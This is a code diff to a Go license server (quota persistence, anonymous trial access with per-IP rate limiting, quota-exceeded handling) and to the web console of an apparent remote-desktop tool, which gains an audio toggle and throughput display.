+	hit := func() int {
+		body := strings.NewReader(`{"client_id":"rate-dev","start_time":"t"}`)
+		resp, err := http.Post(ts.URL+"/license/sign", "application/json", body)
+		if err != nil {
+			t.Fatalf("Post: %v", err)
+		}
+		resp.Body.Close()
+		return resp.StatusCode
+	}
+
+	for i := range anonRatePerWindow {
+		if code := hit(); code != http.StatusOK {
+			t.Fatalf("req %d expected 200, got %d", i, code)
+		}
+	}
+	if code := hit(); code != http.StatusTooManyRequests {
+		t.Errorf("expected 429 after %d requests, got %d", anonRatePerWindow, code)
+	}
+}
+
+// TestAuthRejectsBadBearer: invalid JWT still returns 401 (we did NOT widen
+// the auth surface; only "no Authorization header at all" enters trial).
+func TestAuthRejectsBadBearer(t *testing.T) {
+	priv := testKey(t)
+	master := mustLocal(t, "master-bad-bearer-xxxxxx")
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
+	ts := httptest.NewServer(ls.Handler())
+	defer ts.Close()
+
+	req, _ := http.NewRequest("POST", ts.URL+"/license/sign",
+		strings.NewReader(`{"client_id":"x","start_time":"y"}`))
+	req.Header.Set("Authorization", "Bearer not.a.real.jwt")
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		t.Fatalf("Do: %v", err)
+	}
+	defer resp.Body.Close()
 	if resp.StatusCode != http.StatusUnauthorized {
-		t.Errorf("expected 401, got %d", resp.StatusCode)
+		t.Errorf("expected 401 for malformed bearer, got %d", resp.StatusCode)
 	}
 }
 
@@ -299,7 +378,7 @@ func TestRemoteSignerHardFailNoCacheReturnsError(t *testing.T) {
 func TestHeartbeatRefreshOnly(t *testing.T) {
 	priv := testKey(t)
 	master := mustLocal(t, "master-hb-test-xxxxxxxxxx")
-	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
 	ts := httptest.NewServer(ls.Handler())
 	defer ts.Close()
 
@@ -382,7 +461,7 @@ func TestHeartbeatRefreshOnly(t *testing.T) {
 func TestQuotaRejectionDoesNotConsumeSlot(t *testing.T) {
 	priv := testKey(t)
 	master := mustLocal(t, "master-no-leak-xxxxxxxxxxxx")
-	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
 	ts := httptest.NewServer(ls.Handler())
 	defer ts.Close()
 
@@ -518,3 +597,36 @@ func TestJWTAlgLockedToRS256(t *testing.T) {
 		t.Error("VerifyJWT accepted RS384; alg should be locked to RS256")
 	}
 }
+
+// TestQuotaTrackerPersistence: after a simulated restart (new tracker loaded
+// from the file written by the first), previously-admitted devices re-occupy
+// their slots and a new over-quota device is still rejected.
+func TestQuotaTrackerPersistence(t *testing.T) {
+	path := t.TempDir() + "/quota.json"
+
+	// First "run": admit dev-1 and dev-2 up to cap=2.
+	q1 := newQuotaTracker(5 * time.Minute)
+	q1.statePath = path
+	if _, ok := q1.Reserve("sub", "dev-1", 2); !ok {
+		t.Fatal("dev-1 should be admitted")
+	}
+	if _, ok := q1.Reserve("sub", "dev-2", 2); !ok {
+		t.Fatal("dev-2 should be admitted")
+	}
+
+	// Simulate restart: new tracker loads the persisted file.
+	q2 := newQuotaTracker(5 * time.Minute)
+	q2.statePath = path
+	if err := q2.Load(); err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+
+	// Restored tracker knows about dev-1 and dev-2: quota full.
+	if count, ok := q2.Reserve("sub", "dev-3", 2); ok {
+		t.Errorf("dev-3 should be rejected after restore, count=%d", count)
+	}
+	// Existing devices re-sign successfully (idempotent refresh).
+	if _, ok := q2.Reserve("sub", "dev-1", 2); !ok {
+		t.Error("dev-1 re-sign should succeed after restore")
+	}
+}

server/go/licensing/quota.go

@@ -1,6 +1,8 @@
 package licensing
 
 import (
+	"encoding/json"
+	"os"
 	"sync"
 	"time"
 )
@@ -22,20 +24,31 @@ const (
 	TrialMaxDevices = 20
 )
 
+// persistedQuota is the on-disk snapshot format. V=1 is the current schema.
+type persistedQuota struct {
+	V         int                 `json:"v"`         // schema version
+	Customers map[string][]string `json:"customers"` // sub → []clientID
+}
+
 // quotaTracker maintains the active-device set per customer. Customers are
 // identified by the JWT "sub" claim. The set is keyed by clientID (uint64
 // from the device, stringified) — same device coming back through the
 // same License Server is one slot, not two.
 //
 // Eviction: any clientID not seen in /sign or /license/heartbeat within
-// the eviction window is silently dropped from the active set. This stops
+// the eviction window is silently dropped from the active set. Default
-// a never-heartbeating customer from holding slots forever. Default
+// window is 5 minutes (twice the heartbeat interval).
-// window is twice the heartbeat interval the customer reports at (5 min).
 //
-// Empty customer entries are reaped at the end of each mutation so the
+// Persistence: when statePath is set, the sub→clientID map is written
-// outer map doesn't accumulate sub claims of expired contracts.
+// atomically to disk on every structural change (device added or evicted).
+// Load() restores the state on startup with fresh timestamps so a License
+// Server restart does not open a quota-bypass window.
+//
+// Empty customer entries are reaped at the end of each mutation.
 type quotaTracker struct {
 	evictAfter time.Duration
+	statePath  string // "" = no persistence
+	log        Logger // nil = silent
 
 	mu       sync.Mutex
 	customer map[string]*customerState // sub claim → state
@@ -52,14 +65,105 @@ func newQuotaTracker(evictAfter time.Duration) *quotaTracker {
 	}
 }
 
-// evictLocked drops stale entries from st.devices. Caller must hold q.mu.
+// Load reads the persisted state from statePath and restores each clientID
-func (q *quotaTracker) evictLocked(st *customerState) {
+// with timestamp time.Now() so restored devices survive the initial eviction
+// window long enough to heartbeat or re-sign. A missing or corrupt file is
+// silently ignored so the server starts cleanly on first run.
+func (q *quotaTracker) Load() error {
+	if q.statePath == "" {
+		return nil
+	}
+	data, err := os.ReadFile(q.statePath)
+	if err != nil {
+		if os.IsNotExist(err) {
+			return nil
+		}
+		return err
+	}
+	var p persistedQuota
+	if err := json.Unmarshal(data, &p); err != nil {
+		if q.log != nil {
+			q.log.Warn("quota: corrupt state file %s (starting empty): %v", q.statePath, err)
+		}
+		return nil
+	}
+	q.mu.Lock()
+	defer q.mu.Unlock()
+	now := time.Now()
+	restored := 0
+	for sub, ids := range p.Customers {
+		if len(ids) == 0 {
+			continue
+		}
+		st := &customerState{devices: make(map[string]time.Time, len(ids))}
+		for _, cid := range ids {
+			st.devices[cid] = now
+			restored++
+		}
+		q.customer[sub] = st
+	}
+	if q.log != nil && restored > 0 {
+		q.log.Info("quota: restored %d device slot(s) from %s", restored, q.statePath)
+	}
+	return nil
+}
+
+// snapshotLocked returns a sub→[]clientID map of the current state.
+// Caller must hold q.mu.
+func (q *quotaTracker) snapshotLocked() map[string][]string {
+	out := make(map[string][]string, len(q.customer))
+	for sub, st := range q.customer {
+		if len(st.devices) == 0 {
+			continue
+		}
+		ids := make([]string, 0, len(st.devices))
+		for cid := range st.devices {
+			ids = append(ids, cid)
+		}
+		out[sub] = ids
+	}
+	return out
+}
+
+// save writes snap atomically (temp file + rename). No-op when statePath is
+// empty or snap is nil.
+func (q *quotaTracker) save(snap map[string][]string) {
+	if q.statePath == "" || snap == nil {
+		return
+	}
+	data, err := json.Marshal(persistedQuota{V: 1, Customers: snap})
+	if err != nil {
+		if q.log != nil {
+			q.log.Warn("quota: marshal state: %v", err)
+		}
+		return
+	}
+	tmp := q.statePath + ".tmp"
+	if err := os.WriteFile(tmp, data, 0600); err != nil {
+		if q.log != nil {
+			q.log.Warn("quota: write state to %s: %v", tmp, err)
+		}
+		return
+	}
+	if err := os.Rename(tmp, q.statePath); err != nil {
+		if q.log != nil {
+			q.log.Warn("quota: rename %s → %s: %v", tmp, q.statePath, err)
+		}
+	}
+}
+
+// evictLocked drops stale entries from st.devices. Returns the number removed.
+// Caller must hold q.mu.
+func (q *quotaTracker) evictLocked(st *customerState) int {
 	cutoff := time.Now().Add(-q.evictAfter)
+	removed := 0
 	for cid, last := range st.devices {
 		if last.Before(cutoff) {
 			delete(st.devices, cid)
+			removed++
 		}
 	}
+	return removed
 }
 
 // reapEmptyLocked deletes sub entries whose device sets are empty. This
@@ -84,7 +188,6 @@ func (q *quotaTracker) reapEmptyLocked(sub string) {
 // re-signing is never a quota violation — caps only apply to ADDING).
 func (q *quotaTracker) Reserve(sub, clientID string, maxDevices int) (int, bool) {
 	q.mu.Lock()
-	defer q.mu.Unlock()
 
 	st, ok := q.customer[sub]
 	if !ok {
@@ -92,21 +195,38 @@ func (q *quotaTracker) Reserve(sub, clientID string, maxDevices int) (int, bool)
 		q.customer[sub] = st
 	}
 
-	q.evictLocked(st)
+	evicted := q.evictLocked(st)
 
 	if _, already := st.devices[clientID]; already {
 		st.devices[clientID] = time.Now()
-		return len(st.devices), true
+		count := len(st.devices)
+		var snap map[string][]string
+		if evicted > 0 {
+			snap = q.snapshotLocked()
+		}
+		q.mu.Unlock()
+		q.save(snap)
+		return count, true
 	}
 
 	if len(st.devices)+1 > maxDevices {
-		// Don't reap on rejection — the customer might be at exactly cap
+		count := len(st.devices)
-		// with valid devices, and an empty map would lose info.
+		var snap map[string][]string
-		return len(st.devices), false
+		if evicted > 0 {
+			snap = q.snapshotLocked()
+		}
+		q.mu.Unlock()
+		q.save(snap)
+		return count, false
 	}
 
+	// New device admitted: always persist so a restart sees this slot.
 	st.devices[clientID] = time.Now()
-	return len(st.devices), true
+	count := len(st.devices)
+	snap := q.snapshotLocked()
+	q.mu.Unlock()
+	q.save(snap)
+	return count, true
 }
 
 // RefreshExisting bumps the last-activity timestamp for any clientID in
@@ -118,14 +238,14 @@ func (q *quotaTracker) Reserve(sub, clientID string, maxDevices int) (int, bool)
 // known to us from a prior Reserve).
 func (q *quotaTracker) RefreshExisting(sub string, clientIDs []string) int {
 	q.mu.Lock()
-	defer q.mu.Unlock()
 
 	st, ok := q.customer[sub]
 	if !ok {
+		q.mu.Unlock()
 		return 0
 	}
 
-	q.evictLocked(st)
+	evicted := q.evictLocked(st)
 
 	now := time.Now()
 	refreshed := 0
@@ -137,6 +257,13 @@ func (q *quotaTracker) RefreshExisting(sub string, clientIDs []string) int {
 	}
 
 	q.reapEmptyLocked(sub) // eviction may have emptied us
+
+	var snap map[string][]string
+	if evicted > 0 {
+		snap = q.snapshotLocked()
+	}
+	q.mu.Unlock()
+	q.save(snap)
 	return refreshed
 }
 
@@ -144,16 +271,25 @@ func (q *quotaTracker) RefreshExisting(sub string, clientIDs []string) int {
 // /license/heartbeat to report the server-side view.
 func (q *quotaTracker) Snapshot(sub string) []string {
 	q.mu.Lock()
-	defer q.mu.Unlock()
+
 	st, ok := q.customer[sub]
 	if !ok {
+		q.mu.Unlock()
 		return nil
 	}
-	q.evictLocked(st)
+
+	evicted := q.evictLocked(st)
 	out := make([]string, 0, len(st.devices))
 	for cid := range st.devices {
 		out = append(out, cid)
 	}
 	q.reapEmptyLocked(sub)
+
+	var snap map[string][]string
+	if evicted > 0 {
+		snap = q.snapshotLocked()
+	}
+	q.mu.Unlock()
+	q.save(snap)
 	return out
 }

server/go/licensing/remote.go

@@ -16,6 +16,25 @@ import (
 	"golang.org/x/sync/singleflight"
 )
 
+// QuotaExceededError is returned by Sign when the License Server explicitly
+// rejects the device because the customer's slot quota is full. Unlike
+// transient network errors, stale-cache fallback is NOT appropriate — the
+// License Server's 403 decision is authoritative, and serving a stale
+// signature would silently bypass the operator's cap.
+type QuotaExceededError struct {
+	Message string // raw error field from the License Server JSON body
+}
+
+func (e *QuotaExceededError) Error() string { return e.Message }
+
+// IsQuotaExceeded reports whether err is, or wraps, a QuotaExceededError.
+// Callers (e.g. handleLogin in cmd/main.go) use this to decide whether to
+// close the device connection server-side after sending a zeroed signature.
+func IsQuotaExceeded(err error) bool {
+	var qe *QuotaExceededError
+	return errors.As(err, &qe)
+}
+
 // RemoteSigner fetches per-login signatures from an operator-hosted License
 // Server. ServerURL and Token (a JWT issued offline by the operator) are
 // loaded from YAMA_LICENSE_SERVER / YAMA_LICENSE_TOKEN at startup.
@@ -153,8 +172,17 @@ func (r *RemoteSigner) Sign(startTime, clientID string) (string, error) {
 		return sig, nil
 	}
 
-	// Hard failure: fall back to stale cache if any. Better to keep an
+	// Quota-exceeded is authoritative — skip stale-cache fallback entirely.
-	// existing device alive than fail closed during a transient outage.
+	// Serving a cached signature here would bypass the operator's explicit cap
+	// decision; the caller (handleLogin) should close the connection instead.
+	if IsQuotaExceeded(err) {
+		r.logger.Error("RemoteSigner: quota exceeded for clientID=%s (%v); sending zeroed signature",
+			clientID, err)
+		return "", err
+	}
+
+	// Transient failure: fall back to stale cache if any. Better to keep an
+	// existing device alive than fail closed during a momentary outage.
 	r.mu.Lock()
 	c, ok := r.cache[key]
 	r.mu.Unlock()
@@ -179,7 +207,9 @@ func (r *RemoteSigner) fetch(startTime, clientID string) (string, error) {
 	if err != nil {
 		return "", err
 	}
+	if r.token != "" {
 		req.Header.Set("Authorization", "Bearer "+r.token)
+	}
 	req.Header.Set("Content-Type", "application/json")
 
 	resp, err := r.httpClient.Do(req)
@@ -194,7 +224,17 @@ func (r *RemoteSigner) fetch(startTime, clientID string) (string, error) {
 	}
 
 	if resp.StatusCode != http.StatusOK {
-		// 401/403: token rejected — likely revoked or expired.
+		// 403 with a JSON error body: quota exceeded — this is authoritative,
+		// not a transient failure. Return a typed error so Sign() can skip
+		// the stale-cache fallback and callers can close the connection.
+		if resp.StatusCode == http.StatusForbidden {
+			var sr signResponse
+			if jsonErr := json.Unmarshal(respBody, &sr); jsonErr == nil && sr.Error != "" {
+				return "", &QuotaExceededError{Message: sr.Error}
+			}
+			return "", &QuotaExceededError{Message: string(respBody)}
+		}
+		// 401 / 5xx: token rejected or server error — treat as transient.
 		return "", fmt.Errorf("License Server returned %d: %s",
 			resp.StatusCode, string(respBody))
 	}
@@ -265,7 +305,9 @@ func (r *RemoteSigner) sendHeartbeat() {
 	if err != nil {
 		return
 	}
+	if r.token != "" {
 		req.Header.Set("Authorization", "Bearer "+r.token)
+	}
 	req.Header.Set("Content-Type", "application/json")
 
 	resp, err := r.httpClient.Do(req)
@@ -280,7 +322,15 @@ func (r *RemoteSigner) sendHeartbeat() {
 	}
 }
 
-func (r *RemoteSigner) Mode() string { return "remote" }
+// Mode reports "trial" if this RemoteSigner has no JWT (anonymous
+// downstream against the operator's License Server, capped at
+// FreeMaxDevices), otherwise "remote" (paid customer with JWT).
+func (r *RemoteSigner) Mode() string {
+	if r.token == "" {
+		return "trial"
+	}
+	return "remote"
+}
 
 func (r *RemoteSigner) Close() error {
 	select {

server/go/licensing/server.go

@@ -5,13 +5,36 @@ import (
 	"encoding/json"
 	"errors"
 	"fmt"
+	"net"
 	"net/http"
 	"strings"
+	"sync"
 	"time"
 
 	"github.com/golang-jwt/jwt/v5"
 )
 
+// Anonymous-trial rate limit: per-source-IP cap on /license/sign +
+// /license/heartbeat requests without a Bearer token. Picked at "high enough
+// for any legitimate single deployment, low enough to make brute-force /
+// signature-probing pointless." Each /sign costs 1, /heartbeat 1, in a 60s
+// sliding window. Authenticated requests skip this.
+const (
+	anonRatePerWindow = 10
+	anonRateWindow    = time.Minute
+	// anonReapInterval throws away stale buckets so the map doesn't grow
+	// unbounded across IP-cycling attackers. Walk the map every N requests.
+	anonReapEvery = 200
+)
+
+// Log-throttle cooldowns: downstream devices reconnect every few seconds when
+// over-quota, so without throttling these two Warn lines flood the operator's
+// log file. One log entry per cooldown window per unique key is enough signal.
+const (
+	quotaWarnCooldown = 5 * time.Minute // per (sub, clientID) pair
+	rlWarnCooldown    = anonRateWindow   // per IP, matches the rate-limit window
+)
+
 // LicenseServer is the HTTP service the operator's LocalSigner exposes for
 // RemoteSigner customer deployments. It uses the same LocalSigner instance
 // (same HMAC master key) to produce signatures so customers can issue
@@ -37,12 +60,32 @@ import (
 //
 // Security: serve plain HTTP and put nginx / Caddy in front for TLS. JWT
 // "alg" is locked to RS256 in token.go; "alg":"none" tampering is blocked.
+//
+// Anonymous trial: requests without a Bearer token are treated as anonymous
+// trial — the client's source IP is used as "sub" (key=`trial:<ip>`) and
+// MaxDevices is capped at FreeMaxDevices. This is what lets a zero-config
+// downstream binary "just work" for evaluation. Heavily rate-limited per IP
+// to make brute-force / signature-probing pointless.
 type LicenseServer struct {
 	signer     *LocalSigner
 	pubKey     *rsa.PublicKey
 	tracker    *quotaTracker
 	logger     Logger
 	mux        *http.ServeMux
+	trustProxy bool // honor X-Forwarded-For / X-Real-IP — set only behind a trusted reverse proxy
+
+	anonMu      sync.Mutex
+	anonBuckets map[string]*anonBucket // ip → bucket
+	anonReqSeen int                    // counter for periodic reap
+
+	warnMu      sync.Mutex
+	lastWarn    map[string]time.Time // dedup key → last log time
+}
+
+// anonBucket tracks anonymous request count within a sliding window.
+type anonBucket struct {
+	count       int
+	windowStart time.Time
 }
 
 // Logger is the minimal logging interface we need. The cmd package's
@@ -57,19 +100,50 @@ type Logger interface {
 // quiet device keeps its slot before its quota is reclaimed (recommend
 // 5 min — twice a typical heartbeat interval).
 func NewLicenseServer(signer *LocalSigner, pubKey *rsa.PublicKey,
-	evictAfter time.Duration, lg Logger) *LicenseServer {
+	evictAfter time.Duration, lg Logger, statePath string) *LicenseServer {
+	qt := newQuotaTracker(evictAfter)
+	qt.statePath = statePath
+	qt.log = lg
+	if err := qt.Load(); err != nil && lg != nil {
+		lg.Warn("License Server: failed to load quota state from %s: %v", statePath, err)
+	}
 	s := &LicenseServer{
 		signer:      signer,
 		pubKey:      pubKey,
-		tracker: newQuotaTracker(evictAfter),
+		tracker:     qt,
 		logger:      lg,
 		mux:         http.NewServeMux(),
+		anonBuckets: make(map[string]*anonBucket),
+		lastWarn:    make(map[string]time.Time),
 	}
 	s.mux.HandleFunc("/license/sign", s.handleSign)
 	s.mux.HandleFunc("/license/heartbeat", s.handleHeartbeat)
 	return s
 }
 
+// warnOnce emits a Warn log at most once per cooldown window for the given
+// dedup key. Subsequent identical events within the window are silently
+// dropped. This keeps high-frequency but expected conditions (quota exceeded,
+// rate limit hit) from flooding the operator's log file while still providing
+// one clear signal per event burst.
+func (s *LicenseServer) warnOnce(key string, cooldown time.Duration, format string, args ...any) {
+	s.warnMu.Lock()
+	if t, ok := s.lastWarn[key]; ok && time.Since(t) < cooldown {
+		s.warnMu.Unlock()
+		return
+	}
+	s.lastWarn[key] = time.Now()
+	s.warnMu.Unlock()
+	s.logger.Warn(format, args...)
+}
+
+// SetTrustProxy switches IP extraction to X-Forwarded-For / X-Real-IP for
+// the anonymous-trial branch. Only set this when running behind a reverse
+// proxy you control (nginx / caddy / cloudflare); direct-exposure
+// deployments MUST leave it false or attackers can spoof the header to
+// evade the per-IP rate limit and the trial quota.
+func (s *LicenseServer) SetTrustProxy(trust bool) { s.trustProxy = trust }
+
 // Handler returns the http.Handler the operator wires into their HTTP
 // server (or runs standalone via http.ListenAndServe).
 func (s *LicenseServer) Handler() http.Handler { return s.mux }
@@ -92,13 +166,107 @@ func (s *LicenseServer) authenticate(w http.ResponseWriter, r *http.Request) *Li
 	return claims
 }
 
+// resolveAuth decides whether the request is paid (Bearer JWT) or anonymous
+// trial (no Authorization header). Returns a LicenseClaims structure either
+// way:
+//   - Paid:  claims from JWT, untouched.
+//   - Trial: synthesized claims with Subject="trial:<ip>", Tier=TierFree,
+//            MaxDevices=FreeMaxDevices, no Bearer required.
+//
+// Anonymous requests are rate-limited per source IP; if the IP's bucket is
+// full we write 429 and return nil. Bad JWTs still 401 as before.
+func (s *LicenseServer) resolveAuth(w http.ResponseWriter, r *http.Request) *LicenseClaims {
+	if r.Header.Get("Authorization") != "" {
+		return s.authenticate(w, r)
+	}
+
+	// Anonymous trial branch.
+	ip := s.clientIP(r)
+	if !s.allowAnon(ip) {
+		s.warnOnce("rl:"+ip, rlWarnCooldown, "License Server: anonymous rate limit hit for ip=%s", ip)
+		w.Header().Set("Retry-After", "60")
+		writeJSONError(w, http.StatusTooManyRequests,
+			"trial rate limit exceeded; set YAMA_LICENSE_TOKEN for full license")
+		return nil
+	}
+
+	return &LicenseClaims{
+		Tier:       TierFree,
+		MaxDevices: FreeMaxDevices,
+		RegisteredClaims: jwt.RegisteredClaims{
+			Subject: "trial:" + ip,
+		},
+	}
+}
+
+// clientIP returns the request's source IP. When trustProxy is set, prefer
+// X-Real-IP, then the last entry of X-Forwarded-For. Otherwise fall back to
+// r.RemoteAddr (host part only).
+func (s *LicenseServer) clientIP(r *http.Request) string {
+	if s.trustProxy {
+		if v := strings.TrimSpace(r.Header.Get("X-Real-IP")); v != "" {
+			return v
+		}
+		if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
+			// Last entry is the one appended by the proxy closest to us.
+			parts := strings.Split(xff, ",")
+			last := strings.TrimSpace(parts[len(parts)-1])
+			if last != "" {
+				return last
+			}
+		}
+	}
+	host, _, err := net.SplitHostPort(r.RemoteAddr)
+	if err != nil {
+		return r.RemoteAddr
+	}
+	return host
+}
+
+// allowAnon enforces the anonymous-trial per-IP rate limit. Returns true
+// when the call is admitted, false when the IP's bucket is full. Also reaps
+// stale buckets opportunistically.
+func (s *LicenseServer) allowAnon(ip string) bool {
+	s.anonMu.Lock()
+	defer s.anonMu.Unlock()
+
+	now := time.Now()
+	b, ok := s.anonBuckets[ip]
+	if !ok || now.Sub(b.windowStart) >= anonRateWindow {
+		s.anonBuckets[ip] = &anonBucket{count: 1, windowStart: now}
+		s.maybeReapAnonLocked(now)
+		return true
+	}
+	if b.count >= anonRatePerWindow {
+		return false
+	}
+	b.count++
+	return true
+}
+
+// maybeReapAnonLocked drops buckets whose windows are stale every N requests.
+// Caller must hold s.anonMu.
+func (s *LicenseServer) maybeReapAnonLocked(now time.Time) {
+	s.anonReqSeen++
+	if s.anonReqSeen < anonReapEvery {
+		return
+	}
+	s.anonReqSeen = 0
+	cutoff := now.Add(-anonRateWindow)
+	for ip, b := range s.anonBuckets {
+		if b.windowStart.Before(cutoff) {
+			delete(s.anonBuckets, ip)
+		}
+	}
+}
+
 func (s *LicenseServer) handleSign(w http.ResponseWriter, r *http.Request) {
 	if r.Method != http.MethodPost {
 		writeJSONError(w, http.StatusMethodNotAllowed, "method not allowed")
 		return
 	}
 
-	claims := s.authenticate(w, r)
+	claims := s.resolveAuth(w, r)
 	if claims == nil {
 		return
 	}
@@ -117,7 +285,8 @@ func (s *LicenseServer) handleSign(w http.ResponseWriter, r *http.Request) {
 	// consume a slot — see quotaTracker.Reserve.
 	active, accepted := s.tracker.Reserve(claims.Subject, req.ClientID, claims.MaxDevices)
 	if !accepted {
-		s.logger.Warn("License Server: quota exceeded for sub=%s tier=%s active=%d max=%d clientID=%s",
+		s.warnOnce("quota:"+claims.Subject+":"+req.ClientID, quotaWarnCooldown,
+			"License Server: quota exceeded for sub=%s tier=%s active=%d max=%d clientID=%s",
 			claims.Subject, claims.Tier, active, claims.MaxDevices, req.ClientID)
 		writeJSONError(w, http.StatusForbidden,
 			fmt.Sprintf("quota exceeded: %d/%d devices in use", active, claims.MaxDevices))
@@ -154,7 +323,7 @@ func (s *LicenseServer) handleHeartbeat(w http.ResponseWriter, r *http.Request)
 		return
 	}
 
-	claims := s.authenticate(w, r)
+	claims := s.resolveAuth(w, r)
 	if claims == nil {
 		return
 	}

server/go/licensing/token.go

@@ -23,6 +23,34 @@ type LicenseClaims struct {
 	jwt.RegisteredClaims
 }
 
+// LoadRSAPrivateKey parses an RSA private key from a PEM file. Used by the
+// "issue-token" CLI subcommand to sign customer JWTs offline.
+// Accepts PKCS#1 ("RSA PRIVATE KEY") and PKCS#8 ("PRIVATE KEY") PEM encodings.
+func LoadRSAPrivateKey(pemPath string) (*rsa.PrivateKey, error) {
+	data, err := os.ReadFile(pemPath)
+	if err != nil {
+		return nil, fmt.Errorf("read private key %s: %w", pemPath, err)
+	}
+	block, _ := pem.Decode(data)
+	if block == nil {
+		return nil, fmt.Errorf("no PEM block in %s", pemPath)
+	}
+
+	// PKCS#1: "RSA PRIVATE KEY"
+	if key, err := x509.ParsePKCS1PrivateKey(block.Bytes); err == nil {
+		return key, nil
+	}
+	// PKCS#8: "PRIVATE KEY"
+	if key, err := x509.ParsePKCS8PrivateKey(block.Bytes); err == nil {
+		rsaKey, ok := key.(*rsa.PrivateKey)
+		if !ok {
+			return nil, fmt.Errorf("PKCS#8 key in %s is not RSA", pemPath)
+		}
+		return rsaKey, nil
+	}
+	return nil, fmt.Errorf("failed to parse %s as PKCS#1 or PKCS#8 RSA private key", pemPath)
+}
+
 // LoadRSAPublicKey parses an RSA public key from a PEM file. The License
 // Server loads this once at startup to verify incoming customer JWTs.
 // Accepts both PKCS#1 ("RSA PUBLIC KEY") and PKIX ("PUBLIC KEY") PEM

server/go/web/ws_handlers.go

@@ -51,6 +51,15 @@ func (h *wsHub) dispatch(c *wsClient, cmd string, raw []byte) {
 		h.handleConnect(c, raw)
 	case "rdp_reset":
 		h.handleRdpReset(c, raw)
+	case "audio_toggle":
+		// Audio capture/forwarding is not yet ported from the C++ WebService
+		// (see project_go_webservice_port). Reply explicitly so the front-end
+		// console shows why the toolbar button has no effect, instead of the
+		// request being silently dropped by the default case.
+		c.queue(mustJSON(map[string]any{
+			"cmd": "audio_toggle_result", "ok": false,
+			"msg": "Audio toggle not supported on Go server yet",
+		}))
 	case "mouse":
 		h.handleMouse(c, raw)
 	case "key":

server/web/index.html

@@ -737,6 +737,7 @@
         .toolbar-btn-bar:hover { background: rgba(255,255,255,0.2); }
         .toolbar-btn-bar.active { background: rgba(52,199,89,0.8); }
         .toolbar-btn-bar.active:hover { background: rgba(52,199,89,1); }
+        .toolbar-btn-bar.muted { opacity: 0.55; }
         .toolbar-btn-bar:disabled { opacity: 0.4; cursor: not-allowed; }
         .toolbar-btn-bar:disabled:hover { background: rgba(255,255,255,0.1); }
         #screen-page:fullscreen .screen-toolbar { display: none; }
@@ -828,6 +829,17 @@
         .toolbar-btn:disabled { opacity: 0.3; cursor: not-allowed; }
         .toolbar-btn:disabled:hover { background: transparent; }
         .toolbar-btn:disabled:active { transform: none; }
+        /* Throughput read-out inside the floating toolbar (fullscreen mode).
+           Hidden automatically while empty so the toolbar collapses cleanly. */
+        .fb-stats {
+            color: rgba(255,255,255,0.9);
+            font-size: 12px;
+            padding: 0 10px 0 6px;
+            font-variant-numeric: tabular-nums;
+            white-space: nowrap;
+            user-select: none;
+        }
+        .fb-stats:empty { display: none; }
         .toolbar-toggle {
             position: fixed;
             /* 同 .floating-toolbar：8px 基础 + 安全区 inset 避开刘海/灵动岛 */
@@ -1174,6 +1186,7 @@
             <div class="toolbar-right">
                 <span id="screen-status" class="screen-status connecting">Connecting...</span>
                 <button class="toolbar-btn-bar" id="btn-rdp-reset-bar" onclick="sendRdpReset()" title="RDP Reset">&#x21BB;</button>
+                <button class="toolbar-btn-bar" id="btn-audio-bar" onclick="toggleAudio()" title="Mute audio">&#x1F50A;</button>
                 <button class="toolbar-btn-bar" id="btn-mouse-bar" onclick="toggleControl()" title="Mouse Control">&#x1F5B1;</button>
                 <button class="toolbar-btn-bar" id="btn-keyboard-bar" onclick="toggleKeyboard()" title="Keyboard" disabled>&#x2328;</button>
                 <button class="fullscreen-btn" onclick="toggleFullscreen()" title="Fullscreen (F11)">&#x26F6;</button>
@@ -1203,10 +1216,12 @@
         <div class="touch-indicator" id="touch-indicator"></div>
         <button class="toolbar-toggle" id="toolbar-toggle" onclick="toggleFloatingToolbar()">&#x2022;&#x2022;&#x2022;</button>
         <div class="floating-toolbar" id="floating-toolbar">
+            <span class="fb-stats" id="fb-stats"></span>
             <button class="toolbar-btn" onclick="sendRdpReset()" title="RDP Reset">&#x21BB;</button>
             <button class="toolbar-btn" id="btn-mouse" onclick="toggleControl()" title="Mouse Control">&#x1F5B1;</button>
             <button class="toolbar-btn" id="btn-keyboard" onclick="toggleKeyboard()" title="Keyboard" disabled>&#x2328;</button>
             <button class="toolbar-btn" onclick="disconnect()" title="Disconnect">&#x2715;</button>
+            <button class="toolbar-btn" onclick="toggleFloatingToolbar()" title="Collapse">&#x25B4;</button>
         </div>
         <div class="zoom-indicator" id="zoom-indicator">100%</div>
         <input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
@@ -1283,12 +1298,80 @@
     <script src="/static/xterm.js"></script>
     <script src="/static/xterm-fit.js"></script>
 
+    <!-- Opus codec for audio decompression -->
+    <script src="https://cdn.jsdelivr.net/npm/opus.js@0.5.0/dist/opus.js"></script>
+
     <script>
         let ws = null, token = null, decoder = null, devices = [], currentDevice = null;
         let frameCount = 0, lastFrameTime = 0, fps = 0, pingInterval = null;
+        // FPS 计数：原始风格——decoder.onOutput 里 ++，每经过 1 秒采样一次。
+        // 简单直接，与本次会话改动前一致。
+        // 网络流量统计：handleBinaryFrame 累加，每 1 秒钟 renderStats 读出
+        let bwBytesAccum = 0;       // current-second byte accumulator
+        let bwBytesPerSec = 0;      // last second's throughput (bytes/sec)
+        let currentWidth = 0, currentHeight = 0;  // captured at frame decode time
         const canvas = document.getElementById('screen-canvas');
         const ctx = canvas.getContext('2d');
 
+        // ====== Audio & Video Implementation ======
+        //
+        // - Video: H.264 / AV1 → VideoDecoder Web API → canvas
+        // - Audio: client encodes PCM → Opus, server forwards raw Opus packets
+        //          to web, web wraps each packet in a WebM SimpleBlock and
+        //          feeds it to MediaSource → <audio> element (browser decodes
+        //          Opus natively, plays via standard media-element pipeline).
+        //
+        // WS binary frame layout (matches C++ ScreenSpyDlg.cpp):
+        //   Video : [deviceID:4][frameType:1][dataLen:4][videoData:N]
+        //   Audio : [deviceID:4][frameType=96:1][dataLen:4]
+        //           [hasFormat:1][AudioFormat:12][padding:1]?[opusPacket:N]
+        //   Term  : [magic:4='TRM1'][terminalData:N]
+        //
+        // AudioFormat (12 bytes, commands.h, pack(1)):
